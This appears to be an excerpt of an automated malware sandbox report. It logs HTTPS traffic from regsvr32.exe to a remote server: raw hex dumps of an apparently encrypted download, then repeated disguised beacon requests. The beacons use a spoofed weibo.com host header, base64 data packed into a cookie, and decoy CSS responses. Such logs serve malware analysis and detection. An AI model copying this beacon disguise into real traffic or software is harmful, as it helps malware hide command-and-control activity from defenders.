a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 
5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 
65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 
54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5a a1 54 65 5b 
a1 54 65 5b a1 54 65 5b a1 54 65 5b a1 54 65 5a a1 54 65 5a a1 54 65 5a 
Data Ascii: ^ZTeZTehH(H<uZTeZTeZTe[Te[Te[Te[TeZTeZTeZTeZTeZTeZTeZTeZTe[Te[Te[Te[TeZTeZTeZT
eZTeZTeZTeZTeZTe[Te[Te[Te[TeZTeZTeZTeZTe[Te[Te[Te[Te[Te[Te[Te[TeZTeZTeZTeZTeZTeZTeZTeZTe[Te[Te[Te[Te
ZTeZTeZ

2022-02-08 23:07:12 UTC 823 IN Data Raw: 20 ee 8b 11 20 ee 8b 11 20 ee 8b 11 20 ee 4b 63 24 6e 4a 63 24 6e 4b 62 24 6e 4b 62 24 6e 4b 62 24 6e 4b 
72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 4b 72 24 6e 49 72 24 6e 
48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 
6e 48 72 24 6e 4a 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 
24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 
72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 
48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 72 24 6e 48 
Data Ascii:     Kc$nJc$nKb$nKb$nKb$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nKr$nIr$nHr$nHr$nHr$nHr$nHr$nHr$n
Hr$nHr$nHr$nHr$nHr$nJr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$n
Hr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nHr$nH

2022-02-08 23:07:12 UTC 825 IN Data Raw: 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 
6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee 
fe a8 26 ee fe a8 26 ee 2e 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff 
a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee 2e 76 25 6e 2f 76 25 6e 2f 76 
25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e 2f 76 25 6e ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 
ee fe a8 26 ee ff a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee fe a8 26 ee be 4b 25 6e 
bf 4b 25 6e bf 4b 25 6e bf 4b 25 6e bf 
Data Ascii: %n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n&&&&&&&&.v%n/v%n/v%n/v%n
/v%n/v%n/v%n/v%n&&&&&&&&.v%n/v%n/v%n/v%n/v%n/v%n/v%n/v%n&&&&&&&&&&&&&&K%nK%nK%nK%n

2022-02-08 23:07:12 UTC 849 IN Data Raw: a5 93 28 4e a5 93 ca 2a a5 93 ea 8b a6 93 be ee a6 93 1e 89 a6 93 22 28 a5 93 d2 4f a5 93 23 27 a5 93 b7 a8 
a6 93 43 c0 a6 93 91 a9 a6 93 e9 3a a5 93 3d 53 a5 93 e9 39 a5 93 01 99 a6 93 d5 f3 a6 93 3a 98 a6 93 52 07 a5 93 42 
6b a5 93 37 07 a5 93 0f 90 a6 93 77 fc a6 93 a8 90 a6 93 44 0c a5 93 a4 60 a5 93 a7 0e a5 93 77 af a6 93 73 c1 a6 93 6a 
ae a6 93 ba 0f a5 93 f2 60 a5 93 4e 0f a5 93 76 98 a6 93 ca f7 a6 93 4a 87 a6 93 3e 16 a5 93 be 66 a5 93 51 16 a5 93 c1 
9d a6 93 31 ed a6 93 fe 9c a6 93 a6 3d a5 93 76 4c a5 93 46 3e a5 93 d6 b5 a6 93 e6 c7 a6 93 61 b5 a6 93 b5 26 a5 93 
21 54 a5 93 96 26 a5 93 fa 87 a6 93 42 f5 a6 93 46 86 a6 93 92 15 a5 93 be 66 a5 93 d5 12 a5 93 05 84 a6 93 69 f0 a6 9
3 94 85 a6 93 e0 24 a5 93 84 52 a5 93 9c 25 a5 93 a4 b2 a6 93 bc 
Data Ascii: (N*"(O#'C:=S9:RBk7wD`wsj`NvJ>fQ1=vLF>a&!T&BFfi$R%

2022-02-08 23:07:12 UTC 869 IN Data Raw: a4 93 7f cc a7 93 f3 c5 a6 93 28 cc a7 93 fc 5f a4 93 20 56 a5 93 8a 5c a4 93 5a fd a7 93 9a f7 a6 93 07 fc a7 
93 3f 6b a4 93 9f 60 a5 93 05 6c a4 93 f1 e1 a7 93 6d ed a6 93 eb e0 a7 93 e3 7f a4 93 6b 72 a5 93 90 7f a4 93 80 f1 a7 
93 7c fc a6 93 09 f2 a7 93 19 7c a4 93 61 72 a5 93 c9 7d a4 93 95 f3 a7 93 3d fc a6 93 32 ed a7 93 4e 63 a4 93 5e 72 a5 
93 03 60 a4 93 27 ee a7 93 47 fc a6 93 35 ef a7 93 75 61 a4 93 01 72 a5 93 dd 61 a4 93 4d ea a7 93 91 f9 a6 93 50 ec a7 
93 e8 62 a4 93 2c 77 a5 93 11 60 a4 93 89 ee a7 93 c9 f9 a6 93 1a ee a7 93 ca 4f a4 93 1e 58 a5 93 00 40 a4 93 e8 d6 
a7 93 c8 ce a6 93 ca d7 a7 93 22 59 a4 93 26 40 a5 93 96 5a a4 93 46 d4 a7 93 f6 ce a6 93 c2 d5 a7 93 7e 4f a4 93 4a 54 
a5 93 17 4f a4 93 df dc a7 93 bf c7 a6 93 2d dc a7 93 3d 
Data Ascii: (_ V\Z?k`lmkr||ar}=2Nc^r`'G5uaraMPb,w`OX@"Y&@ZF~OJTO-=

2022-02-08 23:07:12 UTC 871 IN Data Raw: a6 93 91 59 a7 93 e5 c8 a4 93 75 69 a5 93 01 cf a4 93 d1 5c a7 93 51 fa a6 93 d1 5d a7 93 0d ce a4 93 8d 69 
a5 93 4c ce a4 93 98 5d a7 93 5c fa a6 93 86 5d a7 93 52 ce a4 93 8e 69 a5 93 ac c0 a4 93 3c 4b a7 93 18 e2 a6 93 52 
4b a7 93 86 d8 a4 93 da 71 a5 93 d1 db a4 93 41 50 a7 93 59 fa a6 93 3a 50 a7 93 ee c3 a4 93 8a 69 a5 93 1d c3 a4 93 
e9 50 a7 93 71 fa a6 93 a0 50 a7 93 30 db a4 93 dc 71 a5 93 5d dd a4 93 5d 49 a7 93 cd e5 a6 93 6b 49 a7 93 bf da a4 9
3 17 76 a5 93 35 db a4 93 a5 50 a7 93 81 fd a6 93 0b 50 a7 93 3b c4 a4 93 b7 69 a5 93 d6 c7 a4 93 82 53 a7 93 f2 fd a6 
93 0c 52 a7 93 b0 c6 a4 93 b0 76 a5 93 3f c6 a4 93 af 52 a7 93 3f e2 a6 93 5a 53 a7 93 8e c0 a4 93 0e 71 a5 93 c0 c0 a4 
93 18 54 a7 93 c8 e5 a6 93 27 56 a7 93 3f c3 a4 93 cf 70 a5 93 c2 
Data Ascii: Yui\Q]iL]\]Ri<KRKqAPY:PiPqP0q]]IkIv5PP;iSRv?R?ZSqT'V?p

2022-02-08 23:07:12 UTC 875 IN Data Raw: a7 93 65 29 a5 93 45 6f a7 93 95 f4 a4 93 b5 b2 a6 93 03 f4 a4 93 4f 68 a7 93 f7 2e a5 93 59 66 a7 93 a1 fd a4 
93 11 b5 a6 93 4b fc a4 93 77 60 a7 93 2b 29 a5 93 fb 60 a7 93 97 c1 a4 93 47 88 a6 93 3a c2 a4 93 42 51 a7 93 ee 1b 
a5 93 6d 50 a7 93 15 cc a4 93 91 87 a6 93 cc cb a4 93 6c 57 a7 93 0c 1b a5 93 e9 57 a7 93 89 cc a4 93 61 80 a6 93 7b 
cd a4 93 93 5b a7 93 b7 16 a5 93 e7 58 a7 93 4b d7 a4 93 13 99 a6 93 16 c9 a4 93 ba 46 a7 93 b2 16 a5 93 eb 47 a7 93 
27 db a4 93 43 8a a6 93 fe db a4 93 1a 47 a7 93 da 16 a5 93 e3 44 a7 93 0f d8 a4 93 5f 8a a6 93 ee d8 a4 93 3a 4b a7 9
3 8e 19 a5 93 30 4a a7 93 cc d6 a4 93 0c 85 a6 93 20 d1 a4 93 24 4c a7 93 08 18 a5 93 2e 40 a7 93 d2 dc a4 93 92 84 
a6 93 95 dd a4 93 85 40 a7 93 ad 19 a5 93 b7 43 a7 93 87 de a4 93 9b 
Data Ascii: e)EoOh.YfKw`+)`G:BQmPlWWa{[XKFG'CGD_:K0J $L.@@C

2022-02-08 23:07:12 UTC 877 IN Data Raw: 94 91 b2 bf a4 35 f2 1b f4 91 92 bf 84 35 12 1b 14 91 b2 bf a4 35 72 1b 74 91 92 bf 84 35 92 1a 94 90 b2 bf a4 
35 f2 1a f4 90 92 bf 84 35 12 1a 14 90 b2 bf a4 35 72 1a 74 90 92 bf 84 35 92 19 94 93 b2 bf a4 35 f2 19 f4 93 92 bf 84 35 
12 19 14 93 b2 bf a4 35 72 19 74 93 92 bf 84 35 92 18 94 92 b2 bf a4 35 f2 18 f4 92 92 bf 84 35 12 18 14 92 b2 bf a4 35 
72 18 74 92 92 bf 84 35 92 17 94 9d b2 bf a4 35 f2 17 f4 9d 9a bf 8c 35 12 17 14 9d ba bf ac 35 72 17 74 9d 9a bf 8c 35 
92 16 94 9c ba bf ac 35 f2 16 f4 9c 9a bf 8c 35 12 16 14 9c ba bf ac 35 72 16 74 9c 9a bf 8c 35 92 15 94 9f ba bf ac 35 f2 
15 f4 9f 9a bf 8c 35 12 15 14 9f ba bf ac 35 72 15 74 9f 9a bf 8c 35 92 14 94 9e ba bf ac 35 f2 14 f4 9e 9a bf 8c 35 12 14 
14 9e ba bf ac 35 72 14 74 9e 9a bf 8c 35 92 
Data Ascii: 555rt5555rt5555rt5555rt5555rt5555rt5555rt5555rt5

Timestamp
kBytes
transferred

Direction Data
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2022-02-08 23:07:12 UTC 879 IN Data Raw: 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 
8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 40 8c 95 ca 
Data Ascii: @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

20 192.168.2.6 49783 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:31 UTC 1062 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:31 UTC 1064 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:31 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:31 UTC 1065 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

21 192.168.2.6 49784 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:32 UTC 1066 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:32 UTC 1067 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:32 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:32 UTC 1067 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

22 192.168.2.6 49785 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:34 UTC 1069 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Z2xtY29oYmhra2NqbWxpbWpiaWRlaXBnYmplbmlkZGVnb29tY25vaWZraGNsY2lsZ29vcG
psYnBocGRlZGNhaWtkY2ppYmdnb2xsbm9sZ2RkZmZvamRhY2JkbG5jbmlua2ljZWlvYmJubmFkbWFrYmJmaGxjZW1t
ZnBia3BuZmVkYmtrbWZraWJjbGZnYmpwZmdlYmpjamZmamxqcGNvamlsaGFrZ2RoaGFibW9lbWFwZXBtYWtuaG5qYm
NibXBjbWdla2dmaWdlb2JnZ2pnZWVpYWhqcHBwYWJmbmlvamNqYm9rZmxwZ2lobWFka2thb2xvamVrZG
NmbmZkbWduaA==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:34 UTC 1069 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:34 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:34 UTC 1070 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

23 192.168.2.6 49786 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:35 UTC 1071 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=aGZkb2xjZmhhZmpqamFkZW1ubGhmb25vbW9oY2xjYWliYmhrZmJqaWhkb2VwcGFqZGhiZW
5hYm5laWhtaGdtaWZkb2Vsb2ZsbWNqZmZjaGZjbGJwZWFqcGFmZm5kZWZmamxjaWxtYnBua25jaWxtb2Rtb2JrcGxj
Z25lZWdla25vbWtkamRmZ25jYnBpZGljaGpoZmNpbWljYW5oa2hva2ljYWtvbWpmZmNhZWxoZ25uZWZpbmhkZG9jbm
hla2FmY2tnbXBva2VsbG9samFlbm9jcGhsa2lla2VnbWdmZG5vZWJpZGxiZGptcGdobWJnY2lwZmlqb2Njb2NqbmFpaw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:35 UTC 1073 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:35 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:35 UTC 1073 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

24 192.168.2.6 49787 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:35 UTC 1072 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=ZGtpbGZrZnBuY25jYWNhZWFvZ2VqZ2htaWNuY2xlbmxrY2phaWhlb2RsZGNhb25va2djZW
5wZmJpaWxicGJjaWphYmtubGpqaWhrbG5jZmNubWxqbmtjbmhtaGFmbGNrYmJjYWJjaGpwaG5nbm5raG1va2pnYWNj
bW1jbnBnZWZpaWhmampkaWppZ2Fub21pY25raGVhcGVwbG1sa2tubmZja2ZlaGtkbWNiam5tYnBobWtwY2ZuamVkYW
FnaGNkbW1wcHBuZ2NmbGpoa29hY2xvZGJpY2psaGxvcGFmb2lrYm1vZWpibWVuZmlnZm1oZGdob2VpZG
5nbWpsaGFsYQ==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:35 UTC 1074 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:35 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767

2022-02-08 23:07:35 UTC 1075 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
6a 65 63 74 69 64 3d 36 65 37 65 65 66 30 65 2d 32 38 65 63 2d 34 33 63 30 2d 61 37 30 37 2d 66 30 38 61 31 65 62 31 
63 36 62 39 29 3b 40 66 6f 6e 74 2d 66 61 63 65 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 27 53 74 79 6d 69 65 57 30 31 
2d 42 6f 6c 64 43 6f 6e 64 65 6e 73 65 64 27 3b 73 72 63 3a 75 72 6c 28 27 2f 64 76 32 2f 32 2f 64 30 36 66 62 38 30 30 
2d 61 33 65 37 2d 34 61 30 34 2d 62 38 62 38 2d 61 31 66 35 64 32 33 66 34 34 33 39 2e 65 6f 74 3f 64 34 34 66 31 39 6
1 36 38 34 31 30 39 36 32 30 65 34 38 34 31 35 37 39 61 65 39 30 65 38 31 38 39 33 37 66 30 64 66 34 64 35 31 34 66 
66 65 30 64 33 65 33 65 35 37 37 32 33 61 34 31 32 35 32 30 38 66 37 
Data Ascii: @import url(/t/1.css?apiType=css&projectid=6e7eef0e-28ec-43c0-a707-f08a1eb1c6b9);@font-face{font-f
amily:'StymieW01-BoldCondensed';src:url('/dv2/2/d06fb800-a3e7-4a04-b8b8-a1f5d23f4439.eot?d44f19a6841
09620e4841579ae90e818937f0df4d514ffe0d3e3e57723a4125208f7

Session ID Source IP Source Port Destination IP
Destination
Port

Process

25 192.168.2.6 49788 23.82.140.91 443 C:\Windows\System32\regsvr32.exe

Timestamp
kBytes
transferred

Direction Data

2022-02-08 23:07:37 UTC 1076 OUT GET /template.css?controller=true HTTP/1.1
Accept: */*
Host: weibo.com
Cookie: reg_fb_gate=Y3BsZGVvZ3BmamtpaWxwbGtwbWhlZ2NoaG9hZW9rZGtnanBpb2VnYmJlYmxqaW9hY29hbW
ZjYmNvY2FkZm9ubGtiaGVpZmFicGxiY2xkZm9kZ2tmbWphY2VsbWdkYm1uZmJhZ21na2duZWlna2RkbGlpZ2hsaW1t
b2hkbWZpamVjZ2hvZ2ZtZGpiYW1ubm9rZWNpaGljbG1hYWFjYW9tZWNtZ3BhZWZpbGptZWVwa2tlbWNoY2ZlZGlqaG
FnZmtqb2dlaGdrYmVjamRlam5ub2FoY2pka2lkZ2prZWtlb2prbmptYmFsY2lwZ2FtZGVub2ptZGppaWRrbW5nZGZvZw==
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 
Safari/601.3.9
Connection: Close
Cache-Control: no-cache

2022-02-08 23:07:37 UTC 1077 IN HTTP/1.1 200 OK
Date: Tue, 8 Feb 2022 23:07:37 GMT
Server: nginx
Content-Type: text/css
Cache-Control: max-age=1
Connection: close
X-Powered-By: ASP.NET
Content-Length: 1767
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2022-02-08 23:07:37 UTC 1077 IN Data Raw: 40 69 6d 70 6f 72 74 20 75 72 6c 28 2f 74 2f 31 2e 63 73 73 3f 61 70 69 54 79 70 65 3d 63 73 73 26 70 72 6f 
